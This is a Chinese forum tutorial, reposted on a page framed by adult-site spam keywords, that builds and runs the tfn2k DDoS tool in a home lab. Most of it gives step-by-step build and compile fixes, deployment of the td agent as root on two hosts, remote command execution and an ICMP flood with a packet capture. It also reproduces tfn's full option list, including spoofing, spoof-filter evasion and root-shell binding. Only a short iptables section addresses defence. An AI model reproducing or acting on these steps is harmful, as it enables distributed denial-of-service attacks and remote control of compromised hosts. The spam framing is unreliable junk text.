亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 操作系統 > 正文

分布式拒絕服務攻擊(tfn2k)攻擊及iptables過濾測試

2024-07-26 00:30:11
字體:
來源:轉載
供稿:網友

By lanf, 出處:http://www.linuxaid.com.cn/forum/

By wjpfjy From LinuxAID Forum

  首先,我寫這篇文章的目的,并不是我想成為什么hacker之類,而且我不并不鼓勵任何人利用它來做一些有損他人的事情,我只是想多一些人關注網絡安全,共同研究并防御DOS。因為我是深受其害:(,所以,這篇文章僅用于技術參考,供大家研究DDOS防御之用。如果你利用它來做一些不合法的事情,那結果與我無關。

  拒絕服務攻擊(DOS,Denial Of Service)可以指任何使服務不能正常提供的操作。如軟件bug,操作失誤等。不過現在因為失誤操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為?,F在拒絕服務攻擊早已演變為分布式拒絕服務攻擊(DDOS,Distributed Denial Of Service),利用更多的代理集中攻擊目標,其危害更大。

  我們大家都知道tcp/ip協議現在已經成為整個internet框架協議,可以說,如果沒有tcp/ip,至少internet不會像現在這樣普及,甚至不可能會有internet。但凡事皆有兩面性,tcp/ip使我們大家受益,同時因為協議本身構造的問題,它也成為別人攻擊我們的工具。我們以tcp三握手建立連接的過程來說明?! ?/P>

一、tcp syn flood
  

  1.客戶端(client)發送一個包含SYN(synchronize)的tcp包至服務器,此數據包內包含客戶端端口及tcp序列號等基本信息。

  2.服務器(server)接收到SYN包之后,將發送一個SYN-ACK包來確認。

  3.客戶端在收到服務器的SYN-ACK包之后,將回送ACK至服務器,服務器如接收到此包,則TCP連接建立完成,雙方可以進行通訊(感覺像,一拜天地...二拜高堂...送入洞房...哈哈)

  問題就出在第3步,如果服務器收不到客戶端的ACK包,將會等待下去,這種狀態叫做半連接狀態。它會保持一定時間(具體時間不同操作系統不同),如果SYN請求超過了服務器能容納的限度,緩沖區隊列滿,那么服務器就不再接收新的請求了,其他合法用戶的連接都被拒絕掉。這種攻擊往往事半' 罪'倍,殺傷力超強?!?/P>

  當然,DOS攻擊的方法多種多樣,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具體原理的介紹大家可以到 http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很詳細的原理及常用攻擊軟件介紹。不過說到DOS攻擊軟件,最具代表的莫過于tfn2k (Tribe Flood Network 2000),其作者是德國大名鼎鼎的mixter(其主頁http://mixter.void.ru/papers.html),好像最近正在埋頭搞什么tfn3k,哎~~,不知道又有多少人寢食難安了...

二.tfn2k攻擊原理

  1.tfn2k的攻擊體系。

  tfn2k應該算是DDOS攻擊中的代表作,其所能實現的功能讓人瞠目結舌,嘆為觀止...(對它的敬畏有如滔滔江水,延續不絕...)來看看它的架構。

  主控端---運行tfn客戶端,來遙控并指定攻擊目標,更改攻擊方法.(罪大惡極)

  代理端---被植入并運行td進程的犧牲品,接受tfn的指揮,攻擊的實施者.需要注意的是,一個攻擊者,往往控制多臺代理來完成攻擊,而且其系統多為unix,linux等.(可憐的犧牲品)

  目標主機---被攻擊的主機或網絡,曾經被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁悶如我)

  2.tfn2k特性。

  ◆ 主控端通過TCP、UDP、ICMP或隨機性使用其中之一(默認.隨機)的數據包向代理端主機發送命令,攻擊方法包括TCP/SYN、UDP、ICMP/PING、混合攻擊、TARGA3等。

  ◆ 主控端與代理端的通訊采取單向,即主控端只向代理端發送命令,并且會采取隨機的頭信息,甚至虛擬的源地址信息,代理端不會逆向向主控端發送任何信息.

  ◆ 所有命令經過CAST-256算法加命,其關鍵字即編譯程序時的輸入的口令.并且這個口令做為唯一認證憑證.

  ◆ 利用td進程,主控端可以遠程執行shell命令.

  ◆ td進程的名稱可以在編譯時更改,更便于隱藏.

  ◆ tfn可以編譯運行于win32及linux系統的.

  ...

  至于偽造源IP地址等功能,更是基本功能,并且其與老版本的tfn相比,它的發包效率更高,我自已的測試,在短短不到5分鐘,兩臺代理機,使我的redhat linux 9.0系統癱瘓.

三.tfn2k 實戰測試

  1.測試環境:

   軟件:redhat linux 9.0
   硬件平臺:
     master:
        IP: 192.168.0.6
       PIV2.4/256*2/rtl8139
     Ag1 :
        IP: 192.168.0.2
       PIV2.4/256*/rtl8139
     AG2 : IP: 192.168.0.3
       pIV2.6/512*2/3c905
     AIM: 192.168.0.5
       pIV2.66c/512*2/3c905
     switch: D_link des 1024R

  1.下載tfn2k.tgz(因為此軟件非比尋常,所以我并不提供下載地址,如果有興趣,自已到網上找吧)

  2.解壓: tar zxvf tfn2k.tgz

  3.修改文件

  A. src/Makefile 如果你的系統是linux系統,不需要做任何修就可以,如果是win32系統,請將


      # Linux / *BSD* / Others
      CC = gcc
      CFLAGS = -Wall -O3
      CLIBS =

  這幾行注釋掉,并將


      # Win32 (cygwin)
      #CC = gcc
      #CFLAGS = -Wall -DWINDOZE -O2
      #CLIBS =

  這幾行的注釋去掉.因為我的測試系統為redhat linux 9.0所以并未做任何修改.

  B. src/config.h ,默認的就可以用,如果感興趣,可以照其注釋信息進行調整。

  C. src/ip.h 這里要做一些修改,否則編譯會有錯誤,發生重復定義。


     /*struct in_addr
      {
       unsigned long int s_addr;
     };*/

  注意啊~~我可是將它放在"/* */"之間,也就是注釋掉了:)    

  D.更改編譯器:

  因為tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替換掉gcc,tfn2k是編譯不過去的.需要注意的是,更改之后,有可能會造成基于gcc3.2.2的軟件編譯不去,請謹慎而行.

  方法很簡單的,找到一張redhat linux 6.2安裝盤,將egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/


    cd /mnt/cdrom/Redhat/RPMS
    cp egcs-1.1.2-30* cpp-1.1.2-30* ~/

  安裝cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm

  安裝egcs rpm -Uvh egcs-1.1.2-30.i386.rpm

  (如果提示有誤,用nodeps、oldpackages、ignoreos等參數忽略過去就是了)

  4.編譯tfn2k


    cd tfn2k/src
    make

  首先會談出一個聲明,你必須接受,之后會提示輸入8-32位密碼,前邊提到過,這是唯一的認證憑證,會被分發于td進程中,所以一定要記牢噢~。

  編譯通過后,會產生td及tfn,這就是大名鼎鼎的tfn2k啦~,td是守護進程,用來安裝在代理中的,而tfn就是控制端.

  5.安裝td.

  將td上傳到我的兩臺代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因為我只不過測試,所以用的是合法的root來上傳并執行td進程的,如果真要找到并安裝一個代理,你可能得費點兒神,因為沒有一個管理員會說 “come on baby ~~.我給你root,來安裝td做代理吧”


   [root@test /] ftp 192.168.0.2
      Connected to 192.168.0.2.
      530 Please login with USER and PASS.
      530 Please login with USER and PASS.
      Name (192.168.0.2:root): wjpfjy
      331 Please specify the passWord.
      Password:
      230 Login successful. Have fun.
      Remote system type is UNIX.
      Using binary mode to transfer files.
    ftp> put td (上傳td)
     local: td remote: td
     227 Entering Passive Mode (192,168,0,3,198,225)
     553 Could not create file.
    ftp> by (退出ftp)
     221 Goodbye.

   [root@test /]ssh 192.168.0.2
//登陸到ag1 以執行td ,注意,我用的是root帳戶,這樣才有足夠的權限來執行它.
       root@192.168.0.2's password:
       Last login: Tue Feb 24 06:51:13 2004
   [root@ ag1 /]find / -name td -PRint
//找到剛上傳過來的文件td.
   [root@ ag1 wjpfjy/]chmod a+x td
//使之具有執行權限.
   [root@ ag1 wjpfjy/]./td
//運行td ,這樣你就擁有一個代理了,它會對你唯命是從的:(。

  

  用同樣的方法在ag2 (192.168.0.3)上安裝并運行TFN2k進程td.   

  6.攻擊開始(悲慘的回憶上演中...)

  回到master(192.168.0.6 ),準備演練...


   [root@master root]#touch host.txt
//建立代理記錄文件(因為如果你足夠無聊的話,有可能會建立很多的肉雞-
//代理,不記下會忘記的噢.)
  [root@master root]echo "192.168.0.2" > host.txt 將執行過td的ag1加入host.txt。
  [root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .

  先來測試一下鏈接。

  [root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 與host.txt中的代理通訊,讓其執行命令mkdir wjpfjy即建立一個目錄


   Protocol : random
    Source IP : random
    Client input : list
    Command : execute remote command

    Password verification:    
//這里,會被提示輸入密碼,也就是編譯時輸入的密碼,如果錯了,將無法與td進程通訊

    Sending out packets: ..

  到ag1和ag2看看有沒有建立目錄名wjpfjy,一般情況下,會存在于td的同一目錄,如果不確定,可以用find / -name wjpfjy -print來查找   

  [root@master root]./tfn -f host.txt -c 6 -i 192.168.0.5 開始ICMP/PING 攻擊aim...(可憐我的P4啊,不到5分鐘,就跟386一樣慢),不過它在game over前,還是很艱辛的記錄下了攻擊數據,也算是對得住的那NK大洋啦.這是tcpdump的抓包記錄.


[root@aim root]# tcpdump -r pack.atta -c 4 -xX
08:03:36.524907 23.43.171.0 > 192.168.0.5 icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E../e........+..
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524933 192.168.0.5 > 23.43.171.0: icmp: echo reply
0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E../....@.Q.....
0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 .+..............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524944 36.235.130.0 > 192.168.0.5: icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E../e......n$...
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524984 192.168.0.5 > 36.235.130.0: icmp: echo reply
0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E../U...@.......
0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $...............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................

 

  [root@master root]./tfn -f host.txt -c 0 停止攻擊


    Protocol : random
    Source IP : random
    Client input : list
    Command : stop flooding

Password verification:

Sending out packets: ...

  當然還有別的攻擊方法,你只要用-c X就可以更改攻擊方法.


  [root@master root]./tfn
   usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
        Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
        to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
        1 - Change IP antispoof-level (evade rfc2267 filtering)
          usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
        2 - Change Packet size, usage: -i
        3 - Bind root shell to a port, usage: -i
        4 - UDP flood, usage: -i victim@victim2@victim3@...
        5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
        6 - ICMP/PING flood, usage: -i victim@...
        7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
        8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
        9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
        10 - Blindly execute remote shell command, usage -i command

四.防守辦法

  就如同網上所有介紹DDOS的文章一樣,DDOS防不勝防,我試著用防火墻過濾掉所有icmp包,來保護我的主機,但所實現的,只是我的主機晚點兒崩潰而已.哎~,別指望我來防DDOS,要能防,我也不用不睡覺啊:(

  還是那句老話,我們能做的,就是盡量讓我們的主機不成為別人攻擊的代理,并對intranet 內出行的包進行嚴格限制,盡量不去危害別人,只要大家都這樣做,我們的網絡環境才可以安全一些,至少,我可以安心睡幾天覺.

  附上我防火墻的一部分.主要是針對ICMP/PING的,不過用處不太大:(


/sbin/iptables -P INPUT DROP
/sbin/iptables -A INPUT -i lo -p all -j ACCEPT
/sbin/iptables -A INPUT -i eth1 -p icmp -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type 8 -j DROP
/sbin/iptables -A INPUT -s 127.0.0.2 -i lo -j ACCEPT
/sbin/iptables -A INPUT -s 127.0.0.2 -i eth0 -j DROP
/sbin/iptables -A INPUT -s $LAN_NET/24 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP
/sbin/iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP
/sbin/iptables -A INPUT -i eth0 -m limit --limit 1/sec /
--limit-burst 5 -j ACCEPT/sbin/iptables -A INPUT /
-i eth0 -p udp -m state --state NEW -j REJECT
/sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth1 --dport 53 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth0 -m state /
--state ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p udp -i eth0 -m state /
--state ESTABLISHED,RELATED -m udp --dport 1024: -j ACCEPT
/sbin/iptables -A INPUT -p icmp --icmp-type echo-request /
-j LOG --log-level 2
/sbin/iptables -A INPUT -i eth0 -p icmp --icmp-type /
echo-request -j DROP
/sbin/iptables -A INPUT -p tcp -m multiport /
--destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -p udp -m multiport /
--destination-port 135,137,138,139 -j LOG
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2000 -j ACCEPT
/sbin/iptables -A INPUT -i eth0 -p tcp --dport 2001 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -i eth1 -m state --state /
ESTABLISHED,RELATED -m tcp --dport 1024: -j ACCEPT

  以上只是我個人的一些摸索經驗,不足或錯誤之處,還望指證。如果您可以防止DDOS,也請告訴我:)因為本文內容的特殊性,轉載請通知我,謝謝合作:)

  并對幫助過我制定防火墻的sevenJ表示感謝!

  wjpfjy
  mail:wjpfjy@sohu.com
  QQ: 928395


上一篇:GCC精彩之旅

下一篇:Iptables來限制上QQ

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
亚洲精品国产品国语在线| 亚洲人a成www在线影院| 一本一本久久a久久精品综合小说| 国产不卡视频在线| 久久人人爽人人爽爽久久| 成人网欧美在线视频| 欧美在线观看一区二区三区| 亚洲国产精品成人一区二区| 久久亚洲精品中文字幕冲田杏梨| 国产精品视频1区| 青青草国产精品一区二区| 尤物yw午夜国产精品视频| 欧美午夜www高清视频| 欧美性猛交xxxx富婆弯腰| 欧美激情在线观看| 亚洲xxx视频| 日产精品99久久久久久| 亚洲免费一在线| 亚洲女人天堂视频| 亚洲成**性毛茸茸| 国产精品video| 亚洲一区二区国产| 久久精品国产亚洲| 国产精品偷伦一区二区| 国产在线精品成人一区二区三区| 日韩精品中文字幕在线播放| 亚州国产精品久久久| 亚洲免费伊人电影在线观看av| 国产91色在线|免| 粉嫩av一区二区三区免费野| 精品国产依人香蕉在线精品| 亚洲激情小视频| 欧美日韩裸体免费视频| 欧美性猛交xxxx乱大交3| 91色中文字幕| 中文字幕亚洲欧美日韩高清| 久久全球大尺度高清视频| 国产一区av在线| 欧美日韩在线视频首页| 日韩av男人的天堂| 成人久久精品视频| 丝袜亚洲另类欧美重口| 亚洲a级在线播放观看| 久久全国免费视频| 欧美特黄级在线| 97色在线播放视频| 欧美日韩成人在线播放| 久久久久久中文字幕| 5252色成人免费视频| 亚洲香蕉伊综合在人在线视看| 国产精品va在线| 亚洲图片制服诱惑| 久久成人一区二区| 久久精品影视伊人网| 成人免费视频97| 中文字幕欧美日韩| 亚洲欧美国产一本综合首页| 97久久伊人激情网| 国产亚洲一区二区精品| 精品国产91久久久久久老师| 奇米四色中文综合久久| 欧美老女人在线视频| 亚洲男人天堂2019| 成人在线视频网站| 亚洲最大成人免费视频| 国产精品免费一区二区三区都可以| 成人动漫网站在线观看| 日韩av在线免费| 欧美激情第一页xxx| 成人免费在线网址| 久久国产精品视频| 欧美激情久久久久| 亚洲一区二区在线播放| 精品国产一区二区三区久久狼黑人| 久久久免费高清电视剧观看| 久久久久久欧美| 法国裸体一区二区| 亚洲欧美国内爽妇网| 亚洲夜晚福利在线观看| 中文字幕久久精品| 国产精品久久久久久亚洲影视| 国产精品爱久久久久久久| 久国内精品在线| 欧美激情奇米色| 亚洲精品欧美日韩专区| 伊人久久久久久久久久久久久| 欧美成人免费在线观看| 中文欧美日本在线资源| 亚洲a级在线观看| 欧美片一区二区三区| 亚洲女人天堂成人av在线| 国产成人啪精品视频免费网| 伊是香蕉大人久久| 91精品啪aⅴ在线观看国产| 亚洲欧美另类国产| 欧美精品久久久久久久免费观看| 国产精品99免视看9| 一本一道久久a久久精品逆3p| 精品国产福利在线| 久久这里只有精品视频首页| 国产精品电影久久久久电影网| 精品久久久久久久久久久久久久| 91视频免费网站| 国产精品亚洲一区二区三区| 国产精品一区久久| 国产精品户外野外| 久久人人爽人人| 久久久久久久成人| 精品伊人久久97| 91国产一区在线| 韩日欧美一区二区| 欧美日韩国产麻豆| 欧美国产欧美亚洲国产日韩mv天天看完整| 美日韩在线视频| 亚洲国产成人久久| 2018国产精品视频| 亚洲天堂av综合网| 伊人久久综合97精品| 欧美亚洲另类激情另类| 亚洲美女视频网站| 精品国产美女在线| 91精品久久久久久久久久入口| 色综合色综合久久综合频道88| 91久久国产精品91久久性色| 亚洲高清久久网| 精品久久中文字幕| 欧美成人免费全部观看天天性色| 欧美极品少妇xxxxⅹ裸体艺术| 国产精品极品美女粉嫩高清在线| 亚洲一区久久久| 成人高h视频在线| 日韩免费av一区二区| 91精品成人久久| 欧美在线性爱视频| 日韩高清不卡av| 亚洲欧美日韩在线高清直播| 日韩精品在线免费观看视频| 久久久成人精品| 欧美大片第1页| 国产精品大片wwwwww| 亚洲国产欧美一区二区丝袜黑人| 日韩毛片在线观看| 亚洲在线免费视频| 国产97在线|日韩| 热久久美女精品天天吊色| 狠狠久久亚洲欧美专区| 日韩在线观看av| 国产精品国语对白| 成人亚洲激情网| 91精品国产91久久久久久最新| 不卡av电影院| 尤物yw午夜国产精品视频明星| 欧美大肥婆大肥bbbbb| 在线视频日韩精品| 久久久久久成人精品| 欧美成人精品一区二区三区| www.日本久久久久com.| 久久久久久久国产精品| 欧美激情日韩图片| 亚洲精品成人网| 国产成人免费av| 国产在线视频一区| 波霸ol色综合久久| 国产精品成人va在线观看|